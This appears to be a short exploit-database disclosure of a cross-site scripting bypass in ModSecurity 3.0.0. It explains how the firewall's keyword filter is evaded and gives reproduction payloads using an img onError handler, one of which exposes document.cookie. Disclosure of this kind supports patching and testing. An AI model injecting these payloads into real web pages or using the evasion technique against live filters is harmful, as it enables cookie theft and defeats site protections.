ModSecurity 3.0.0 - Cross-Site Scripting

# Exploit Title: ModSecurity 3.0.0 - Cross-Site Scripting
# Date: 2018-07-02
# Vendor Homepage: https://www.modsecurity.org
# Software: ModSecurity
# Category: Web Application Firewall
# Exploit Author: Adipta Basu
# Tested on: Mac OS High Sierra
# CVE: N/A
# Description: ModSecurity 3.0.0 has XSS via an onError attribute of an IMG element

# Details: 
# After doing source code analysis, I found that if <img src=x onError=prompt(111)> 
# is passed as a parameter, a pop-up is obtained. This is because the filter flags 
# terms like "script","alert",etc. Moreover it also flags if there is a string placed
# inside the first bracket. That is why I had to use 111. However document.cookie when
# passed works fine.
 
Reproduction Steps:
 
   - Use <img src=x onError=prompt(3)> or <img src=x onError=prompt(document.cookie)>